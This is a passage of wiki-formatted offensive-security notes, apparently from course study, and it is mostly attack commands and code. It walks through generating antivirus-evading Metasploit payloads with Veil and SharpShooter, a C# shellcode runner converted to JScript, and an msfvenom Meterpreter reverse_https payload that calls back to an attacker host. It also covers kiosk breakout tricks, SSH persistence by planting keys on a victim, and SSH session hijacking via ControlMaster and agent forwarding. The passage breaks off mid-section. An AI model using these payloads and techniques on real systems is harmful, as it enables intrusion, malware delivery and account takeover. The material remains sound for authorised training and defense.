=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just Enought Administration (JEA) ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Purpose&#039;&#039;&#039;: Provides specific users/groups just enough permissions to execute their tasks without compromising security.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Function&#039;&#039;&#039;: Allows delegated administration via PowerShell. Applicable to both servers and clients.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;JEA Benefits&#039;&#039;&#039;:&lt;br /&gt;
Reduces the number of administrators.&lt;br /&gt;
&lt;br /&gt;
* Limits administrator capabilities.&lt;br /&gt;
&lt;br /&gt;
* Provides logging to monitor actions of JEA enabled users.&lt;br /&gt;
&lt;br /&gt;
* JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.&lt;br /&gt;
&lt;br /&gt;
* Files and commands executed in a JEA session might run with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.&lt;br /&gt;
## Default PSSession Configuration file&lt;br /&gt;
1 @{&lt;br /&gt;
2&lt;br /&gt;
3 # Version number of the schema used for this document&lt;br /&gt;
4 SchemaVersion = &#039;2.0.0.0&#039;&lt;br /&gt;
5&lt;br /&gt;
6 # ID used to uniquely identify this document&lt;br /&gt;
7 GUID = &#039;e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9&#039;&lt;br /&gt;
8&lt;br /&gt;
9 # Author of this document&lt;br /&gt;
10 Author = &#039;administrator&#039;&lt;br /&gt;
11&lt;br /&gt;
12 # Description of the functionality provided by these settings&lt;br /&gt;
13 # Description = &#039;&#039;&lt;br /&gt;
14&lt;br /&gt;
15 # Session type defaults to apply for this session configuration. Can be &#039;RestrictedRemoteServer&#039; (recommended), &#039;Empty&#039;, or 16 &#039;Default&#039;&lt;br /&gt;
16 SessionType = &#039;Default&#039;&lt;br /&gt;
17&lt;br /&gt;
18 # Directory to place session transcripts for this session configuration&lt;br /&gt;
19 # TranscriptDirectory = &#039;C:\Transcripts\&#039;&lt;br /&gt;
20&lt;br /&gt;
21 # Whether to run this session configuration as the machine&#039;s (virtual) administrator account&lt;br /&gt;
22 # RunAsVirtualAccount = $true&lt;br /&gt;
23&lt;br /&gt;
24 # Scripts to run when applied to a session&lt;br /&gt;
25 # ScriptsToProcess = &#039;C:\ConfigData\InitScript1.ps1&#039;, &#039;C:\ConfigData\InitScript2.ps1&#039;&lt;br /&gt;
26&lt;br /&gt;
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session&lt;br /&gt;
28 # RoleDefinitions = @{ &#039;CONTOSO\SqlAdmins&#039; = @{ RoleCapabilities = &#039;SqlAdministration&#039; }; &#039;CONTOSO\SqlManaged&#039; = @{ RoleCapabilityFiles = &#039;C:\RoleCapability\SqlManaged.psrc&#039; }; 29 &#039;CONTOSO\ServerMonitors&#039; = @{ VisibleCmdlets = &#039;Get-Process&#039; } }&lt;br /&gt;
29&lt;br /&gt;
30 }&lt;br /&gt;
&lt;br /&gt;
# Enumerate commands. The command below will tell you what kind of commands you&#039;re allowed to run.&lt;br /&gt;
Get-Command&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Just-In-Time Access (JIT) ==&lt;br /&gt;
&lt;br /&gt;
* JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case&#039;&#039;&#039;:&lt;br /&gt;
User needs to log in and perform maintenance requiring administrative privileges.&lt;br /&gt;
&lt;br /&gt;
* Instead of giving permanent access, JIT allows for temporary administrative access.&lt;br /&gt;
&lt;br /&gt;
* After the set duration, access is automatically revoked.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Integration&#039;&#039;&#039;:&lt;br /&gt;
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.&lt;br /&gt;
&lt;br /&gt;
* PAM writes specific attributes that can be enumerated.&lt;br /&gt;
&lt;br /&gt;
* Once PAM is enabled in AD, it can&#039;t be disabled.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Explotation usually requires approval from another user.&lt;br /&gt;
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.&lt;br /&gt;
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.&lt;br /&gt;
# Enumerate&lt;br /&gt;
## First import the dll to memory&lt;br /&gt;
Import-Module Microsoft.ActiveDirectory.Management&lt;br /&gt;
# Then you can enumerate the Get-commands&lt;br /&gt;
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like &amp;quot;Get-*&amp;quot; }&lt;br /&gt;
# Example output of PAM being enabled on AD.&lt;br /&gt;
Get-ADOptionalFeature -Filter *&lt;br /&gt;
...&lt;br /&gt;
FeatureGUID        :&lt;br /&gt;
RequiredDomainMode :&lt;br /&gt;
RequiredForestMode : Windows2016Forest&lt;br /&gt;
IsDisableable      : False&lt;br /&gt;
FeatureScope       : {ForestOrConfigurationSet}&lt;br /&gt;
DistinguishedName  : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com&lt;br /&gt;
Name               : Privileged Access Management Feature&lt;br /&gt;
ObjectClass        : msDS-OptionalFeature&lt;br /&gt;
ObjectGuid         :&lt;br /&gt;
PropertyNames      : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}&lt;br /&gt;
AddedProperties    : {}&lt;br /&gt;
RemovedProperties  : {}&lt;br /&gt;
ModifiedProperties : {}&lt;br /&gt;
PropertyCount      : 10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JScript ==&lt;br /&gt;
&lt;br /&gt;
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It&#039;s similar to JavaScript.&lt;br /&gt;
&lt;br /&gt;
[https://en.wikipedia.org/wiki/JScript JScript - Wikipedia]&lt;br /&gt;
&lt;br /&gt;
=== DotNetToJscript ===&lt;br /&gt;
&lt;br /&gt;
If you get &amp;quot;This tool should only be run on v2 of the CLR&amp;quot; while trying to run the binary, look at the forum below.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?46639-DotNetToJScript-compilation&amp;amp;highlight=tool+run+CLR DotNetToJScript compilation (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error &amp;quot;This tool should only be run on v2 of the CLR&amp;quot;. The resulting .js file works just fine.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tyranid/DotNetToJScript https://github.com/tyranid/DotNetToJScript]&lt;br /&gt;
&lt;br /&gt;
* Download DotNetToJscript.&lt;br /&gt;
&lt;br /&gt;
* Open the .sln&lt;br /&gt;
&lt;br /&gt;
* Compile both DotNetToJscript and ExampleAssembly&lt;br /&gt;
&lt;br /&gt;
* Run the command below.&lt;br /&gt;
&lt;br /&gt;
* Open demo.js&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Testclass.cs&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Windows.Forms;&lt;br /&gt;
[ComVisible(true)]&lt;br /&gt;
public class TestClass&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
uint flAllocationType, uint flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
    IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr&lt;br /&gt;
    lpThreadId);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    public TestClass()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] buf = new byte[460] {0xfc,0x48,...};&lt;br /&gt;
        int size = buf.Length;&lt;br /&gt;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
        Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,&lt;br /&gt;
        IntPtr.Zero);&lt;br /&gt;
        WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
    }&lt;br /&gt;
    public void RunProcess(string path)&lt;br /&gt;
    {&lt;br /&gt;
        Process.Start(path);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then run this command after the above is compiled&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SharpShooter &amp;amp;SuperSharpsHooter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
# Updated version&lt;br /&gt;
https://github.com/SYANiDE-/SuperSharpShooter&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py&lt;br /&gt;
sudo python2 get-pip.py (sudo is neccesary)&lt;br /&gt;
sudo apt install python-setuptools&lt;br /&gt;
pip install jsmin==2.2.2 --ignore-installed&lt;br /&gt;
git clone https://github.com/mdsecactivebreach/SharpShooter.git&lt;br /&gt;
cd SharpShooter&lt;br /&gt;
python2 SharpShooter.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating a raw Meterpreter staged payload using msfvenom:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating malicious Jscript file with SharpShooter:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Invoke the SharpShooter tool with appropriate parameters:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Notes:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--payload js&amp;lt;/code&amp;gt;: This specifies a Jscript output format.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--dotnetver 4&amp;lt;/code&amp;gt;: Sets the targeted .NET framework version.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--stageless&amp;lt;/code&amp;gt;: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, &amp;quot;stageless&amp;quot; refers to the method of transferring the entire Jscript payload.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--rawscfile&amp;lt;/code&amp;gt;: Specifies the file that contains our shellcode.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;--output&amp;lt;/code&amp;gt;: Sets the output file name (excluding the file extension).&lt;br /&gt;
&lt;br /&gt;
== Kiosk Breakout ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/hardware-physical-access/escaping-from-gui-applications Escaping from KIOSKs - HackTricks]&lt;br /&gt;
&lt;br /&gt;
=== URIs (Uniform Resource Identifiers) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Used to access locally-stored pages and files.&lt;br /&gt;
file://&lt;br /&gt;
# Access to internal Chrome browser pages and settings.&lt;br /&gt;
chrome://&lt;br /&gt;
# File Transfer Protocol, used for transferring files over the Internet.&lt;br /&gt;
ftp://&lt;br /&gt;
# Used to open the default mail client and initiate composing an email.&lt;br /&gt;
mailto:&lt;br /&gt;
# SMB protocol, commonly used for local network file sharing.&lt;br /&gt;
smb://&lt;br /&gt;
# Embeds data like inline images directly into content.&lt;br /&gt;
data:&lt;br /&gt;
# Initiates a call using the designated telephone number.&lt;br /&gt;
tel:&lt;br /&gt;
# Executes JavaScript code from a URL or hyperlink.&lt;br /&gt;
javascript:&lt;br /&gt;
# Represents data formats like images or other binary data.&lt;br /&gt;
blob:&lt;br /&gt;
# Used by torrent clients to download files.&lt;br /&gt;
magnet:&lt;br /&gt;
# Starts an SSH session.&lt;br /&gt;
ssh:&lt;br /&gt;
# Real-Time Messaging Protocol for streaming content.&lt;br /&gt;
rtmp:&lt;br /&gt;
# Directory services protocol.&lt;br /&gt;
ldap:&lt;br /&gt;
# An older document retrieval protocol.&lt;br /&gt;
gopher:&lt;br /&gt;
# WebSockets for real-time communication.&lt;br /&gt;
ws:&lt;br /&gt;
# Secure WebSockets.&lt;br /&gt;
wss:&lt;br /&gt;
# Denotes the XMPP/Jabber messaging protocol.&lt;br /&gt;
xmpp:&lt;br /&gt;
# Accessing newsgroups.&lt;br /&gt;
news:&lt;br /&gt;
# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
